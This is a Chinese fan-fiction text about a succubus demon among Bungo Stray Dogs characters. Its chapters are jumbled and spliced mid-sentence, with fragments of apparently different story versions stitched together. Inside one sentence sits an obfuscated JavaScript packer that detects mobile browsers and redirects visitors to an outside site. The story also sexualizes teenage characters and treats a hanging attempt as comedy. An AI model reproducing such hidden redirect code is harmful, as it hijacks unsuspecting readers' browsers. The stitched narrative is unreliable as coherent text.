“真可惜啊,就连你最后的同伴也选择抛弃你了,「羊之王」。” 中原中也没说话,只是拼尽全力发动起异能。 药物发作更甚,赭发少年咬破自己的舌尖,试图通过痛觉唤醒身体的支配权,身上覆盖着一层淡淡的暗红光。 “能杀得了我的话,那就来试试啊。” “困兽之争……” 男人冷笑一声,然而他的话音尚未落下,刚刚原本跑路的银发少年突然折返了回来。 望月一步一步地朝他们走来,最后站在中原中也身前,将对方挡在自己的身后。 他双手叉腰,不爽地骂道。 “果然还是很不爽!” “你们这群人类别太自以为是了。” “望……” 中原中也看着银发少年的后背,微微一愣,有些惊讶地瞪大了眼睛。 他的声音下一秒就被对方盖了过去。 “而且,可别搞错了,吾辈可不是这个人类的同伴,也不是为了中也而特意留下来。只是舍不得投入的时间成本,毕竟都预定好了……” 望月抿着唇,用一种不情愿的语气,声音越来越小,嘀嘀咕咕道。 「预定好了」……? 中原中也微愣,蓝眸中闪过一丝茫然。 很快,他的疑惑就得到了解答。 望月闭上眼睛深呼吸一口气,然后猛地伸出一根手指,指着面前的那堆人,一脸义正言辞,中气十足地说道。 “就是说,这个笨蛋人类的童贞吾辈可是已经预定了好久。还没吃到手,怎么能就这样让他死掉!” “……” 本该是冷峻的气氛,一下子变得有些尴尬,废弃仓库内一下子变得十分安静。 GSS成员看过来的眼神都变得微妙了起来。 虽然伤口很疼,但中原中也还是忍不住磨了磨后槽牙,挤出了一句吐槽。 “——谁和你做过这种鬼约定了!” 22.第二十二章 这句话一出,成功令众人的动作停滞了几秒。 趁着众人愣神之际,望月打了个响指。 清脆的响指让众人回过神来。 领头的男人急忙扭头,对着身后的部下们喊道。 “这家伙不过是在虚张声势,不要被分散注……” 忽然,他闻到空气中弥漫着一股奇异的香味,那股香味无法用言语描述,只觉得让人昏昏欲睡,手中的枪|支也几欲滑落。 眼皮如同悬挂着秤砣,止不住地往下坠着,企图和下眼睑合并为一体。 望月得意地半眯起眼睛。 “别小看吾辈了。吾辈如果认真起来的话,可不是你们这群人类能比的。” ——就算再怎么说,他可都是恶魔。 “可恶,原来这也是个异能力者吗……没有听说过「羊」除了重力使外,居然还有第二个异能力者。” 有人试图抬起手捂住自己的口鼻。 而领头的男人当即做出了判断,指挥道。 “朝着那边开枪!” 回忆起人类武器的威力,望月的头皮一阵发麻,毫不犹豫地将自己的魔力倾泻而出。 身体逐渐变得空洞,逐渐虚弱下来。 望月咬牙切齿地在心中腹诽。 可恶,消耗了这么多魔力,一定要中也之后好好奖励自己。 不对,是得从他身上狠狠地奖励回来! 银发少年咬了咬牙,紫色的眸子散发着淡淡的幽光。 “要知道魅魔们可不只会催|淫,我们的别名可是「梦魔」哦。” 原始的魅魔们可是会用自己的力量让猎物们入睡,然后再趁着对方熟睡时,完成体|液的摄入后,在对方尚未苏醒时离开。 随着望月的话音落下,周围不知何时笼罩起浓郁的紫烟,将所有人的身影全部包裹了进去。空气中的那股紫烟也愈发浓郁,香气也不断扩散着。 率先出现了第一个支撑不住的人,直接倒在了地上,闭上了眼睛没法睁开。 意识朦朦胧胧间,似乎听到了少年充满讥讽的嘲笑声。 随后,越来越多的人支撑不住,被这股困意征服。 这股雾气是无差别的,就连中原中也也一时难以抵抗这股香味,险些跟着一起闭上眼睛。 紫色的雾气之中,逐渐传来人倒地时的闷响,甚至有从二层直接跌落下来的。 最后,整个仓库安静了下来,那股紫色雾气才逐渐散去,显露出银发少年的身影,站在倒地的人群之中,格外惹眼。 “就算我们魅魔不是战斗系种族,对付你们这群……愚蠢的人类……唔……” 望月站在原地,朝着躺在地上的那群家伙扬了扬下巴,努力做出一副轻而易举的表情,只是发颤的双腿暴露出了主人此时的状态。 该死的,要不是自己从没开过荤,而且身上的魔力也没有多少……这回魔力可是彻底见底了。 要知道让处于警惕状态的家伙直接入睡,要耗费的魔力可远超平时,而且还维持不了多久。 光是站在原地都感觉到吃力,就连表情都维系不住了。 望月双腿一软,直接跪在地上,面前用双臂支持起自己的身体,银白色的短发随着主人的动作垂下,挡住了表情。 【■■■,■■■,■】 “系、系统,这次吾辈好像是真的到极限了,糟糕……” “骗人的吧……这种情况……” 这种情况他也是第一次遇到。 望月喃喃自语着,紫色的眸子逐渐变得溃散,失去焦距。 一个恶魔彻底失去所有魔力时会发生什么? 整个身体变得空虚,像是惧怕于毁灭般,迫切得渴求着什么。 食物。 他需要食物。 【■■■,■■■,■】 【■■,■】 系统似乎在对自己说什么,然而在此时的望月听来,不过是一团乱码。 “喂、望月!” 中原中也努力喊到显然处于不对劲状态的银发恶魔的名字。 而对方似乎什么都没有听到似的,垂着脑袋低声喃喃个不停。 “好饿,好饿,好饿……” 似乎嗅到了什么,望月抬起头。 视野里出现赭发少年的身影,脑海回忆起对方身上和普通食物们截然不同的美味的气息,嘴巴里顿时开始分泌口水。 ——不行,中也是不行的。 中也现在受伤很严重,不能再从对方身上汲取精气。 望月努力挪开自己的视线,甚至往对方的反方向缩了缩。 好饿。 不管什么都好,就算是敌人。 只要能让他吃一口……明明周围就有这么多的食物,随便找一个吃也没问题吧。 “该死的……” 中原中也见对方毫无反应,忍不住低声骂了一句。 他想要支撑起身体去查看对方的情况,然而此时,却听到了脚步声。 哒,哒哒。 由远而近的脚步声逐渐变得清晰可闻,不止一人而是数人。 中原中也目光一凛,扭头看向声音的源头。 在看到那张令人生厌的脸时,赭发少年本就糟糕的脸色此时变得更加糟糕。 “……太、宰。” 他一字一顿地念出对方的名字。 太宰治停下了脚步,跟在他身后穿着黑色西装的黑手党们也停了下来,站在了他的身后。 以及刚刚跑出去的白濑。 他此时正被一个黑手党钳制住,表情惊恐。 黑发少年显然对着场面产生了一丝惊讶。 “嗯?没想到GSS的人已经全部倒下了,看来是我来迟了……啊,没有血,看来还没死,只是睡着了吗……” 黑发少年飞快地扫视了一圈现场的画面,很快就了然。 他似乎是故意这个时候才去扭过头,瞥了一眼狼狈不堪的中原中也,唇角扬起嘲讽的讥笑。 “这不是中也吗,不过是几天不见,现在的样子可真是狼狈啊。” “混蛋……” 从那个时候开始,这家伙就已经计算好了一切了吧。 中原中也磨了磨后槽牙,光是不让自己闭上眼睛,就已经耗费了他绝大部分气力。 望月的鼻子微微翕动。 他忽然间闻到了另一股美味的香气,无比的熟悉。 对于赭发少年的怒视,太宰治神情恹恹地挪开了自己的视线,看向了另外一个尚且存留着意识的银发少年。 “我想这场面大概是恶魔君做的吧,毕竟如果是中也的话,只会把这里变得脏兮兮的。” 太宰治一边说着,一边不紧不慢地走向了望月。 “离他远一点,混蛋太宰!” 中原中也低声吼道,身上覆盖上一层淡淡的暗红色异能光。 站在黑发少年不远处的黑手党们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14254242|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉察到危险,下意识举起了手中的枪,而太宰治却不以为然地摆了摆手,示意他们放下。 “中也,你的宠物状态看起来也不怎么样哦。” “虽然我很好奇恶魔君的能力还有什么,不过现在看上去,你不怎么能够听得见我说话呢。” 太宰治站定在望月的身前,居高临下地俯视着面前的银发少年,饶有兴趣地挑了挑眉。 银发少年仰起头,目光迷茫地看向散发着美味气味的黑色身影,便再也挪不开了。 对方靠得越近,身上的气味也就越明显。 身体的饥饿感叫嚣着,愈发强烈。 “这是第二次见面呢,恶魔君。” 太宰治并不知道面前银发魅魔内心的蠢蠢欲动,拖长声音道。 “诶~真没有想到,为了中也你居然会这么拼命。” “不是说恶魔都是自私自利的利己家伙吗?不过真是可惜,看你的样子,似乎也支撑不了多久了。” 大概是看到了自己意料之外的东西,太宰治似乎有些兴奋,又产生了有些好奇。 未被绷带遮住的那只鸢眸微微放大,盯着面前的银发少年,话也比以往多了不少。 “接下来你会怎么样呢?死亡吗?” “恶魔们的死亡,会是什么样的场景?化为灰烬,还是变成虚无?” “恶魔君会后悔自己的选择吗?” 黑发少年充满了探究欲。他压低嗓子,用彼此才能听到的声音问道。 然而完全被饥饿感占据大脑的望月根本听不见对方在讲什么,声音仿佛隔着一层玻璃。 他只是呆呆地盯着黑发少年一张一合的嘴唇。 然后,望月仰着头,下意识地朝着面前的黑发少年伸出了双手。 那姿态看上去像是在索要拥抱一样。 太宰治没有躲闪,只是眯起眼睛,审视着面前的银发少年。 “又想出什么点子了呢,恶魔君……唔。” 太宰治的表情瞬间呆滞。 向来运转迅速的聪明脑袋,在此刻也宕了机,空白一片。 而不远处,黑手党们拿着枪的手猛地一抖,张大嘴巴震惊地看着面前的画面。 银发少年直接捧住了面前人的脸颊,朝着自己的方向一拽,仰头狠狠地亲了上去。 趁着对方愣神之际,望月用舌头撬开了黑发少年的嘴唇,卷起对方的舌尖拼命地舔|弄吮|吸,来不及吞咽的唾液顺着唇角滑落。 断断续续如同小动物的喘息声,从齿缝的间隙里泄露出来,听着令人面红耳赤。 多么美味的食物。 比人类的巧克力还要更加令魔沉迷。 这么久以来,摄入的第一份魔力涌入身体,整只恶魔都变得轻飘飘起来。 瞪大的鸢眸倒映着银发恶魔此时的表情。 像是沉溺于此,那双冒着粉色桃心的紫眸呈现着一种糜烂的痴迷之色。 脸颊的潮红仿佛浸泡过温泉般,就连眼角的泪痣也泛着红意,呈现出一种莫名的色|情。 望月无法自控地将那条恶魔尾巴露了出来,仿佛讨好般缠绕上对方的小腿。 而太宰治似乎也感受到了对方的欢愉,自己的情绪也被对方所掌控。一股奇怪的酥麻感逐渐占据大脑,让人难以思考。 错愕之中,太宰治忽然听到脑内响了某种冰冷的电子音。 【滴,正在进行目标绑定】 【绑定成功】 23-30 第 23 章 第二十三章(三合一) “欢迎加入港口mafia,中也君。” 办公室内,森鸥外微笑着弯起眼睛,祝贺道。 男人中长的黑发被简单扎起,搭在脖颈上的那条红色的长围巾,看上去如同被鲜血染红的河流。 中原中也单膝跪下行了一礼,随后将那顶黑色礼帽戴上。 这是兰堂留给自己的遗物。 同时,接受了这顶礼帽,也意味着自己正式加入了港口mafia。 森鸥外看着面前这颗闪亮的大钻石,心情格外得好。 毕竟组织发展什么都缺,最缺的还要是人。 黑发男人脸上笑了笑,关心道。 “说起来,你的伤现在怎么样了?听医疗部的人说,中也君腹部的刀伤还挺严重的。” “……已经没事了。”中原中也抿了抿唇,平静地回答道。 “这样吗,那就好。” 森鸥外点了点头。 然而面前的赭发少年犹豫了一下,却没有告辞离开。 看出了对方似乎还想要继续说什么,森鸥外心中了然,却只是微笑着没有开口,等着对方主动提出。 果然,赭发少年本就不算什么能够藏得住心思的性子,直接发问。 “BOSS,关于「羊」的事……” “依照约定,「羊」成员我已经让人全部安排好了。「羊」既然已经解散,港口mafia也不会再对他们出手。” 看着面前赭发少年脸上一松,森鸥外在心中不由得轻笑。 不只是因为对方的心思好懂,也是感叹于少年的性情。 直率,重感情。这或许会成为一把双刃剑。 不过红叶大概会挺喜欢这孩子的,那就让红叶来领着中也君入门好了。 “我明白了。属下告退……”“那是……” “港口mafia的「重力使」!” 看到那个赭红色的身影,他们瞬间反应过来,顿时慌了阵脚——他们完全没有料到遭遇到的埋伏,竟然会是港口mafia。 最不想遇上的敌人。 然而再后悔也无济于事。 中原中也冷笑着,抬手,身后的部下们也跟着抬起了枪。 狂气的声音之中,带着一种残忍的冰冷。 “——全部杀了,不要留活口。” 霎时间,枪声回荡在仓库内,双方的枪口迸发着刺眼的火花,几乎将仓库给点亮。 即便再怎么训练有序,相较于港口Mafia,他们的火力则显得逊色。 再加上他们的敌人,还是那个赫赫有名的重力使。 一时间,绝望与恐惧占据脑袋,只是稍稍一犹豫,便被毫不留情地夺取了性命。 剧烈的交火整整持续了半小时。 便随着痛苦的哀嚎,不论是枪火声还是别的什么声音,都逐渐消沉下去,如同陷入泥沼般沉寂。 空气中刺鼻的硝烟气味几乎完全掩盖了血腥味。 ……赌场内乱七八糟的残局还得收拾。 没有因为砸坏桌椅而扣工资的黑泽望月倒是开心,举起手自告奋勇地要帮忙打扫,却被赌场的工作人员们惶恐地拒绝了。 活动了一番身体,望月抻了个懒腰。 果然一段时间里,都得抽点工夫运动一下,身心愉悦啊。 不过,这些人的身手果然比织田的身手要差……可以说是差很多。 所有人加起来都不够他打的,也就更不够织田打的了。 织田平时看起来像是水豚一样慢吞吞的,认真起来时,却能让他本能地产生一种危险感。 第一天工作时,他没分清楚敌友,误把织田当成敌人。 结果被对方看破动作直接摁在了地上。 织田是他见过的所有人里,体术最好的一个。 他倒是很想让织田多教教他,可是织田却说打架容易把衣服弄脏,洗衣服会很麻烦。 而且织田的枪法也很好,应该不亚于大哥……但肯定还是大哥更厉害! 毕竟大哥是最棒的! 想起自家大哥英姿飒爽的身影,黑泽望月忍不住赞同似的点了点头。 周围的人见他一个人在角落里,不知道在想什么,一脸自豪的样子,完全不明所以。 这并不妨碍他们小声议论。 “不过这次之后,A先生应该会重用他吧,刚来没多久……一周有吗?” “毕竟身手这么好,就连中也先生都夸奖了。” “诶?只是底层人员?我还以为是「黑蜥蜴」的人呢。” “被A先生重用,也以为是不会被那么轻易抛弃,某种意义上也是好事吧,真羡慕……” 就在众人感叹着,事情第二天又出现了新的发展。 “望月。” “在这里!” 听到自己的名字,黑泽望月赶紧朝着前辈挥手。 他的个子不高,稍稍垫着脚。 前辈瞥了一眼这懵懂无知的小子,表情紧绷,说道。 “喂,你明天就不用来赌场了。” 这个消息对于黑泽望月来说,宛如晴天霹雳,表情生动得似乎让人真的听见这家伙的背后轰隆一声。 “诶、诶,我、我被开除了?难不成是我做错了什么吗?我发誓昨天志村先生的盒饭绝对不是我偷吃的,我只吃了饭团!” “臭小子原来是你偷吃的啊……不对,重点不是这个。” 前辈揉了揉自己的鼻梁,表情稍微松动了些,忍不住叹了口气。 望月这家伙太脱线了,一不小心又被他带进去了。 “总之,明天你不用来赌场,去本部的中原先生那边。” “中原?” “给我加敬语……对,没错,中原中也。就是那个赫赫有名的「重力使」大人。” 前辈放下了手,看向黑泽望月的眼神复杂。 “中原先生特意点名让你去本部。” “A先生也同意了。” “臭小子,你可要发达了啊。” 战斗结束了。 中原中也带来的人开始打扫战场,又或者搬运着尸体。 比起刚刚剧烈的交火冲突,此时的画面则显得和平了许多。 其中一个部下将木箱其中一根完好的试管递给了中原中也,中原中也拿起看了眼。 玻璃试管里,半透明的液体看起来像是糖浆一样,非常普通,却让赭发少年眉头不由得紧皱。 他扭头,对一直懒洋洋没精神劲儿的太宰治说道。 “太宰,应该就是横鼠那家伙交代的,走私的新型致幻药物。” “全部混在普通商品和装有红酒的箱子的夹层里头,不仔细搜还没有几瓶。” “商品和红酒留下,这点小利就让给军警他们。至于药物我们带走。”太宰治很快就做出了判断,“痕迹尽可能扫干净,尤其是关于药物的。” 中原中也点头,随后将试管递给身旁的部下,简单交代了几句。 部下离开后,赭发少年才开口问道。 “喂,太宰……” “是太宰干部,中也干部候选。” 中原中也微微颔首,转身正准备离去时,森鸥外眨了眨眼睛,似乎这才想起某件事,忽然出了声。 “我已经从太宰君那里听说了,有关望月君和中也君的事情。” 中原中也愣住,下意识地转过身看向森鸥外。 看到水面上咕噜咕噜的气泡,那家伙哇啦哇啦叫唤的声音更大了。 太宰治几乎能够想象出对方扒着桥护栏,脸上惊慌失措的表情。 无趣的戏弄到此为止吧,耳膜要被吵破了。 太宰治想着,准备从水里出来,省得对方真报警喊来警察——身为黑手党却因为这种事进了警察局,怕不是会被人嘲笑——虽然港口mafia也没人有这胆子敢笑太宰治。 只是,尚未等太宰治从水中坐起身,就听见扑通一声。 周围的水花荡漾,四处飞溅。 他感觉到自己似乎被某个温暖的身体紧紧地抱住。 暖洋洋的。 那种陌生的温度,让太宰治不由得一愣,下意识睁开眼睛。 他对上了一双明亮的深绿色眸子,即便在昏暗的水底,依旧无法遮掩其中的光彩。 金发少年正注视着自己,嘴巴一张一合,冒着泡泡,似乎说着什么。 “——唔咕噜噜咕噜(你没事吧)!” 还不及他反应,由于那位陌生人跳下来抱住自己带来的冲击力,太宰治感觉到自己的身体跟着一起,像是被人丢进河里的石头一样,狠狠地下坠。 “咚!” 太宰治的脑袋径直磕到了河床的石头上,甚至发出一声沉重的闷响,通过骨头传入耳蜗后,便什么都听不见了,只剩下嗡嗡的耳鸣声。 后脑勺传来剧烈的刺痛顿时让他的脑袋变得昏昏沉沉,从嘴巴里吐出一大团气泡。 太宰治被猛地呛了一大口水,争先恐后地从鼻子、气管里涌入,将为数不多的氧气挤出去。 他是被淹死的呢,还是被撞死的呢 在意识消失的前一刻,太宰治脑海里最后闪现过的念头是, ——他果然最讨厌狗了。 医院内。 坐在长椅上混湿漉漉的少年看起来十六七岁的样子,金色的短发有些凌乱,随着主人的动作一抖一抖着; 虽然浑身一副落汤鸡的狼狈样,那双深绿色的眸子倒是亮晶晶的。 黑泽望月的脑袋上搭着条毛巾,盯着手中好心的护士小姐给他的苹果,忍不住咽了口口水。 底层人员的工资太低了,光是吃饱饭都勉勉强强。 为了拯救空瘪瘪的钱包,他今天只吃了两盘咖喱饭,要知道平时都是能吃五盘以上的。 正当他思考着要不要不洗了直接开吃时,余光瞥到一个穿着黑西装的男人在不远处张望。 “唔!铃木前辈,我在这里!” 铃木听到声音后立即扭头,快步冲了过来,没等黑泽望月开口先一步给了这小子一个爆栗。 “好痛好痛好痛,脑袋好痛!突然之间干什么啊铃木前辈……” 然而望月嗷嗷乱叫的样子完全没让对方心软。 铃木一把抓住他的肩膀,表情扭曲,抓狂地前后摇晃。 “这话应该是我对你说吧你个笨蛋!你知道里头的人是谁吗,那可是太宰,那个太宰先生啊!” 他只不过是奉命来找人,没想到到了河边便看到这小子拖着好像死掉了的太宰先生,试图往没人的地方走去。 这一丢尸现场的画面,吓得他一口气差点没抽过去。 “所谓工作,可是永远工作不完的。” “要好好珍惜休息时间啊望月……我也想休息了呢,呵呵,最好是能一直休息一觉不起的那种。” 黑泽望月看着面前生无可恋的三浦,后脑勺上挂上了一颗冷汗。 “三浦前辈……看起来精神不好呢。”整个人看起来像是坏掉了一样。 “嗯?啊……毕竟最近工作比较忙,不论是心灵还是身体都很累啊。” “诶,这样吗……” 黑泽望月歪着脑袋,忽然想起了什么,握拳一捶掌心。 他从口袋里掏出了什么东西,然后拉过三浦的手,郑重其事地把东西放在了三浦的手心中。 “嗯?”三浦疑惑地低头。 “……巧克力?” “没错,是巧克力哦。刚刚遇到的伊吹姐给我的。” 望月用力地点了点头,仰着脑袋朝面前的三浦露出灿烂的笑容,深绿色的眸子亮晶晶的,充满了活力和生机。 “原本想着肚子饿的时候吃,不过三浦前辈看起来比我更需要这个,所以就给三浦前辈啦!” “三浦前辈要打起精神来哦!” 三浦沉默了一瞬。 然后伸出双手,拼命地揉搓着望月的脑袋,狠狠地发泄这段时间的怨气。 毛茸茸……暖呼呼…… 在望月不明所以的眼神中,rua了半天小狗脑袋的三浦终于心满意足地松开了手,长长地舒了一口气,后背的那股怨气都淡了不少。 这下总算舒坦了。 果然,养狗真的有益身心健康呢。 然而黑泽望月顶着被揉搓成鸡窝造型的脑袋,眼睛几乎变成了豆豆眼,乱七八糟的样子看起来像是只长得有些凌乱的金毛小狗。 显然一副不知道发生了什么事的天然呆样。 “三浦前辈?” “呼……我没事了。谢谢你啊望月,帮了大忙了。”rua完狗感觉能再坚持两天了。 ……巧克力这么有效吗,还没吃三浦前辈就恢复精神了。 好厉害,不愧是巧克力。 黑泽望月顿时瞳孔地震,对巧克力以及给自己巧克力的伊吹姐顿时肃然起敬。 “啊,对了。如果望月没事做的话,就顺便帮忙找一下太宰先生吧。” 三浦想起隔壁办公室的唉声叹气,顺便提了一嘴, “太宰先生从上周起就没回过港口mafia了,隔壁同事们都挺苦恼的呢。”毕竟还有一大堆文件等着太宰先生盖章啊。 相对比之下,三浦觉得自己似乎没那么惨了。 “唔哦哦哦,我明白了!” “我会努力找到太宰先生的!” “嘛,也就是顺便的事情啦……毕竟太宰先生一向这样,找不到人也很正常的。” 把自己吊起来后,就把他丢到一旁。 望月再次变成了石化雕塑。 ——自己居然被一个人类戏弄了! 感觉自己被对方耍了一通的望月顿时怒不可遏,直接炸了毛,尾巴气得绷直。 银发恶魔愤怒地就要冲过来。 “……可恶,你这该死的人类雄性!就算是来强的,吾辈绝对要把你榨——” “如果强行对我做不愿意的事情的话,比如强吻之类的,你也会被系统惩罚对吧。” “不然刚刚为什么会费尽心思让我同意呢?” 黑发少年微笑着的一句话,就成功让试图冲过来的银发魅魔停了下来。 望月僵硬在半空中,后背顿时冒出了冷汗。 银发恶魔的瞳孔疯狂地震中。 这、这个人类……聪明过头了吧! 他怎么这就什么都摸清楚了! “看来我猜对了。”太宰治挑起眉毛,眨了眨眼睛,无辜地说道。 “望月君,你也不想发生这种事情的吧。” “如果是组织,那就反击毁灭;如果是个人,那就追杀至死。” “我会亲自带队把对方碾碎。” 赭发少年说话的时候,钴蓝色的眸子盯着自己。 金发少年顿时泄了气,也顾不得桌子上脏不脏,沮丧得把下巴往桌子上一搭,十分郁闷。 脑袋上的犬耳仿佛跟着一起耷拉了下来,声音有气无力。 “那我应该打不过中也……” “唉,这个方案就pass掉吧。” 合着你还真的想要把A杀了啊? 中原中也都不知道该不该吐槽这个了。 “你这家伙,是在担心项圈的事吗?” 他的心情有些复杂,稍稍顿了顿,又忍不住烦躁地啧舌。 听上去有些暴躁的语气,其实已经放缓了不少。 “……你现在好歹都算是我的部下。A那家伙不会对你出手。” “他也不敢这么嚣张地直接对港口mafia的人用这个异能力。” “你不会死的。” 中原中也沉声道。 那双如同大海般深邃的钴蓝色眸子直视着面前的金发少年,语气认真。 “我不会让你死的。”“不过……非让我帮忙也不是不可以哦。” 乱步话锋一转,细长的眼睛如同猫咪般眯起。 “既然是求名侦探帮忙,至少要交委托费吧?我们侦探社可不是慈善机构哦。” “委托费?可我今天没有带钱包出来……啊!” 望月猛然想起什么后,低头掏了掏自己的口袋。 里头还有一颗巧克力。 今天伊吹姐给了自己两颗,然后自己给了三浦前辈一颗,还有最后一颗。 但是…但是自己也想吃这颗巧克力啊。 纠结良久,望月深呼吸一口气,郑重其事地把那颗巧克力交了上去。 “这个可以当委托费吗……”“……唔,但能想到的最简单的方法,果然还是连着一起弄掉吧。” 金发少年垂头丧气着,鼓着包子脸嘟囔。 “呜,好像的确得意忘形了。” “被大哥知道的话,肯定要被骂了吧。” 情况严重的话,给自己俩枪子好像也不是不可能。 金发少年摇头晃脑着,余光瞥到了一个熟悉的身影,脚步立即停了下来。 隔着铁丝网,不远处堆积着建材空地上,有一棵枝繁叶茂的树。 树下,披着黑色风衣的黑发少年神情淡漠,纤细的身体像是快要被那件沉重的大衣压垮一般。那张俊秀的脸蛋被绷带缠绕起来,遮挡住大半,只露出一只鸢色的眸子,让人不禁觉得可惜。 这番标志性的造型,让眼尖的望月一下子便认出了对方。 “呜哇,真的是太宰先生诶——” 黑泽望月一下子就把脖子上项圈的事情抛到了脑后,瞳孔地震起来。 真的被名侦探说中了。 而且第一个位置就找到了! 难道乱步真的是神吗? 没错,一定是的,乱步是猫猫神! 望月忍不住在心中大声欢呼。 猫猫神万岁! 下次有机会去侦探社的话,要拿点心好好上供给猫猫神。 在脑海里美滋滋地想着,黑泽望月从一旁的铁丝围栏翻过去,兴高采烈地准备打招呼道。 “太……”男人的性格倒是很符合这个名字,长得贼眉鼠眼也就算了,行踪诡谲,谨慎小心,把自己的信息隐藏得很好。 且从不一个人独处,周围总会有五个以上的武装保镖在身边。 横鼠是横滨地下赫赫有名的走.私商人之一。 若是平时不侵犯到港口mafia的利益,双方也都相安无事;结果没想到前段时间,横鼠这家伙直接截胡了本该是港口mafia的生意。 不久前在太宰和红叶的审讯下,才从相关人员的嘴巴里拿到了横鼠这家伙的日常习惯和行踪消息。 正巧今天便是交易日。 男人倒是很警觉地没去到现场,而是藏起来在暗地里指挥。 大概是见这次交易完成得十拿九稳,也没有起多大疑心,正如情报所说的那样,来到这家娱乐会所消遣。 黑泽望月只需要盯住对方,随时向中也汇报情况,确认对方位置所在。 而中原中也和太宰治则负责剿灭参与这次贸易的横鼠的部下们,来一场“杀鸡儆猴”。 这的确是一件非常简单的任务。 盯人,等着中也那边解决完过来收网,自己的工作就结束了。 结果没想到自己的发呆,被对方抓了个正着。 望月乖巧又老实地扮演着一个普通服务员的形象。 横鼠哼笑了一声,眼神在他身上上下审视。 “你不来喝酒,站在那边干什么。” “诶,喝酒么?” 黑泽望月晃了晃脑袋,老实巴交地说道。 “抱歉客人,我还没成年呢,不能喝酒。” 这个理由让大家愣了一下,然后哄笑一团,无不讥讽嘲弄。 未成年算什么。 遵守法律法规?开什么玩笑。 在这里最不需要的就是遵纪守法了。 黑泽望月一脸茫然,不知道为什么他们笑得那么大声。 “让你喝你就喝,这么多废话干什么!” 其中一个小弟凶恶地骂了句,大概是喝多了,脸色酡红,搂起袖子似乎要上来摁住对方。 坐在男人边上的陪酒女郎见状,陪着笑脸解释道。 “哎呀,这孩子是新来的,年纪小比较笨。这杯我就替他喝了吧。” “没让你说话,一个陪酒女插什么嘴!” 陪酒女郎举着酒杯有些尴尬,却又只能苦笑。 有时候遇到这种客人,真想拿瓶子往对方脑袋猛砸啊。 这种念头只能在脑袋里想想,碍于生计,脸上还是要露出讨好笑容。 倒是穿着花衬衫的横鼠,饶有兴趣地打量着面前的金发少年,小眼睛几乎眯成了一条细缝。 这个小服务员长得非常对他的胃口。 马甲勾勒出少年线条流畅的腰身,双腿修长笔直,精气神十足,年轻活力的样子很难不多看两眼。 这小服务员脖子上还带着项圈,那双小狗眼看着就让人心痒痒。 他踹了脚刚刚那聒噪的家伙,这回可用足了力道。那小弟一时间措不及防,摔了个马大趴。 “我让你说话了吗?” 酒劲醒了一半,小弟一哆嗦,讪讪地闭上嘴。 “难道你不想要钱吗?” 他循循诱导着,金发少年皱着眉,表情看起来相当的苦恼。 “客人……是要我说实话吗?” 这简直是个蠢问题。 周围人在心中想到,脸上的表情也表现的十足。 “当然想要。” 啊咧,太宰在干什么呢? 望月疑惑地眨了眨眼睛。 绷带造型的黑发少年的脑袋顶上,有条长长的,从树枝上垂下来的东西,看起来好像是粗麻绳。 对方手里摆弄的正是那根东西。 太宰打好绳结了。 太宰把脑袋伸进去了。 太宰把脚下的石头踢开了。 太宰…… 画面里,黑发少年的身体被绳子挂在树上,犹如晴天娃娃一般随着风左右晃动着。 黑泽望月瞳孔地震。 他看不懂,但是大为震撼。 荡、荡秋千?不,好像不是。 难道说……是在做那件事? 意识到对方在做什么后,金发少年仿佛被踩到尾巴似的跳了起来,两步并作一步从铁丝网上翻跨进去,随后一个加速百米冲刺。 他一边跑一边高声喊道。 “太宰先生——不要想不开啊——” 这声从背后响起的洪亮嗓门,吓得正在上吊的太宰治的心脏漏跳了一拍,随之而来的,是一种不妙的预感。 这种预感他之前也产生过两次。 令他始料不及的是,金发少年直接跳上来,如同八爪鱼般紧紧地抱住自己的腰。 某犬科生物一边抱着,一边呜哇大叫着。 “请冷静啊太宰先生,不要做这种傻事啊啊啊啊!” “这种方法可不会成功的啊!!” 骤然增加的重量让太宰治的身体往下一坠,原本就绷紧的绳子此时绷直到极致,脆弱的脖颈被绳索紧紧勒住。 就像是太宰治剩下的那半口气一样。 “成交!”横滨的夜晚灯红酒绿。 匿藏于霓虹灯之后的欲望,黑暗与危险并存。 包厢内的屏幕上播放着歌曲MV,喧闹的酒场乱作一团。 穿着深棕色马甲的服务员们沉默着,将一瓶瓶昂贵的唐培里端上桌,开酒,递给一旁的陪酒女郎们斟满酒杯。 包厢里的人可不少,但最为惹人注意的,还得是坐在正中间的那个穿着花衬衫的男人,不论是手上的腕表还是脖子上的金链,看上去都价值不菲。 坐在男人旁边的陪酒女郎们涂着艳丽的妆容,脸上挂着笑,或帮忙倒酒,或者陪唱。 她们为生活所迫不得不这么做,心中是什么样的想法不得而知。 更何况,对方的身份可不是他们能得罪得起的。 「Mafia」。几日后。 跟在太宰治的身后,被领路人带进了一间大房间后,黑泽望月没忍住心中的好奇,打量起房间内的陈设。 这里看起来像是一家事务所,牌匾上挂着组织的标志。 正对面的墙壁上头挂着一副硕大的书法,写着「忠义」两个大字;而在一旁的挂轴下,放着武士盔甲和三把刀,太刀、胁差、短刀由长至短。 除了面前的太宰治和池田以外,他的身后还站了一排身形魁梧的男人。 这些男人们的身上不是纹身刺青,就是各种各样的伤疤、刀痕,双手插在口袋里,凶神恶煞的眼神里充满着不屑与危险。 若是一般人看了,估计早已被这里的氛围吓得瑟瑟发抖。 黑泽望月则感到兴奋。 即便他努力克制自己的情绪,还是没忍住在周围散发出粉色的小花,显得有些格格不入。 ——是标准的黑.道和风摆设,货真价实的极道组织诶。 这才是他想象中的日本黑手党(极道)嘛! 在正式卧底之前,他还特意做了准备,学习了日本黑.道的有关知识,包括断指、切腹之类的,甚至还看了好多黑.道题材的漫画——结果在港口mafia那里完全用不着。 这下总算能够派上用场了! 不过……好像被他们讨厌了诶。 毕竟对方看他们的眼神,可是充满了满满的敌意。 黑泽望月在心中激动了没一会儿,后知后觉发现了这个事实后,周围散发的小花花顿时枯萎了下去。 这次来的只有他和太宰两个人。 他的任务简单来说,就是保护太宰治的安全。 望月神游着,面前坐在沙发上的男人开口。 池田组的组长爽朗地大笑着,看起来相当和善亲切。 “欢迎光临我们池田组,太宰君。” 